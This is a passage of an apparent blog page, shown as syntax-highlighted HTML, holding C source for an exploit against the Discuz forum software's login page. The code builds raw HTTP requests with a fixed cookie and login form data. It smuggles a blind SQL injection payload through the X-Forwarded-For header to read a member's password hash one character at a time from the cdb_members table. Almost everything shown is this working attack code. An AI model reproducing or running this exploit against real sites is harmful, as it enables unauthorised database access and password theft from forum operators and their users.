style="COLOR: #000000">HReferer[]</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">REFERER:</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">&nbsp;http://127.0.0.1/dz/logging.php?action=login</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">};<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>char&nbsp;</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">HHost[]</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">Host:&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">};<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>char&nbsp;</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">HContentLg[]</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">Content-Length:</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">&nbsp;189</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">};<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>char&nbsp;</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">HContion[]</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">Connection:</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">&nbsp;Keep-Alive</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">};<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>char&nbsp;</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">HCacheCtr[]</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">Cache-Control:</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">&nbsp;no-cache</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">};<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>char&nbsp;</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">HXForwardedFor[]</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;{&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">X-Forwarded-For:</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">};<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>char&nbsp;</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">HCookie[]</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">Cookie:</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">&nbsp;cdb_sid=70KRjS;&nbsp;cdb_cookietime=2592000</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">};<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>char&nbsp;</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">HPost[]</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">formhash=6a49b97f&amp;referer=discuz.php&amp;loginmode=&amp;styleid=&amp;cookietime=2592000&amp;loginfield=username&amp;username=heige&amp;password=123456789&amp;questionid=0&amp;answer=&amp;loginsubmit=%E6%8F%90+%C2%A0+%E4%BA%A4</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">&nbsp;};<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>char&nbsp;query[]&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">&nbsp;'&nbsp;union&nbsp;select&nbsp;122,122,122,122,122,122,122,122&nbsp;from&nbsp;cdb_members&nbsp;where&nbsp;uid=%s&nbsp;AND&nbsp;ascii(substring(CONCAT(password),%d,1))=%d&nbsp;/*</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>char&nbsp;querystring[</span><span style="COLOR: #000000">128</span><span style="COLOR: #000000">];<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>char&nbsp;temp1[</span><span style="COLOR: #000000">1024</span><span style="COLOR: #000000">]</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">temp2[</span><span style="COLOR: #000000">10240</span><span style="COLOR: #000000">]&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;{</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">};<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>int&nbsp;sanddata(char&nbsp;</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">host</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;int&nbsp;port</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;char&nbsp;</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">path</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;char&nbsp;</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">uid</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;int&nbsp;ascii</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;int&nbsp;chrnum)<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;WSADATA&nbsp;&nbsp;WSAData</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">{</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">};<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;struct&nbsp;hostent&nbsp;</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">he;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;struct&nbsp;sockaddr_in&nbsp;&nbsp;ServerAddr</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">{</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">};<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;SOCKET&nbsp;Socket</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;int&nbsp;ren&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;char&nbsp;</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">p&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #0000ff">NULL</span><span style="COLOR: #000000">;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000">(WSAStartup(MAKEWORD(</span><span style="COLOR: #000000">2</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">2</span><span style="COLOR: #000000">)</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">&amp;</span><span style="COLOR: #000000">WSAData))&nbsp;</span><span style="COLOR: #0000ff">return</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000">((he&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #008080">gethostbyname</span><span style="COLOR: #000000">(host))&nbsp;</span><span style="COLOR: #000000">==</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">)<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008080">fprintf</span><span style="COLOR: #000000">(stderr</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">\r\n[-]&nbsp;Failed&nbsp;resolving&nbsp;%s\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;host);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">exit</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">-</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;}<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;Socket&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;socket(AF_INET</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">SOCK_STREAM</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">IPPROTO_TCP);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;ServerAddr</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">sin_family&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;AF_INET;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;ServerAddr</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">sin_addr&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">((struct&nbsp;in_addr&nbsp;</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">)he</span><span style="COLOR: #000000">-&gt;</span><span style="COLOR: #000000">h_addr);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;ServerAddr</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">sin_port&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;htons(port);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;memset(temp1</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">1024</span><span style="COLOR: #000000">);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008080">sprintf</span><span style="COLOR: #000000">(querystring</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;query</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;uid</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;chrnum</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;ascii);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008080">sprintf</span><span style="COLOR: #000000">(temp1</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">%s&nbsp;%s%s&nbsp;%s\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">%s%s\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">%s%s\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">%s%s\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">%s%s\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">%s%s\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">%s%s\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">%s%s\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">%s%s\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">%s%s\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">%s%s\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">%s%s\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">%s%s\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">%s\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">\r\n\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;HMod[</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">]</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">path</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">logging.php?action=login</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">HttpVer[</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">]</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;HAccept[</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">]</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">HAccept[</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">]</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;HAcceptLg[</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">]</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">HAcceptLg[</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">]</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;HContentTp[</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">]</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">HContentTp[</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">]</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;HAcceptEn[</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">]</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">HAcceptEn[</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">]</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;HUserAgent[</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">]</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">HUserAgent[</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">]</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;HReferer[</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">]</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">HReferer[</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">]</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;HHost[</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">]</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">host</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;HContentLg[</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">]</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">&nbsp;0</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;HContion[</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">]</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">HContion[</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">]</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;HCacheCtr[</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">]</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">HCacheCtr[</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">]</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;HXForwardedFor[</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">]</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">querystring</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;HCookie[</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">]</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">HCookie[</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">]</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" 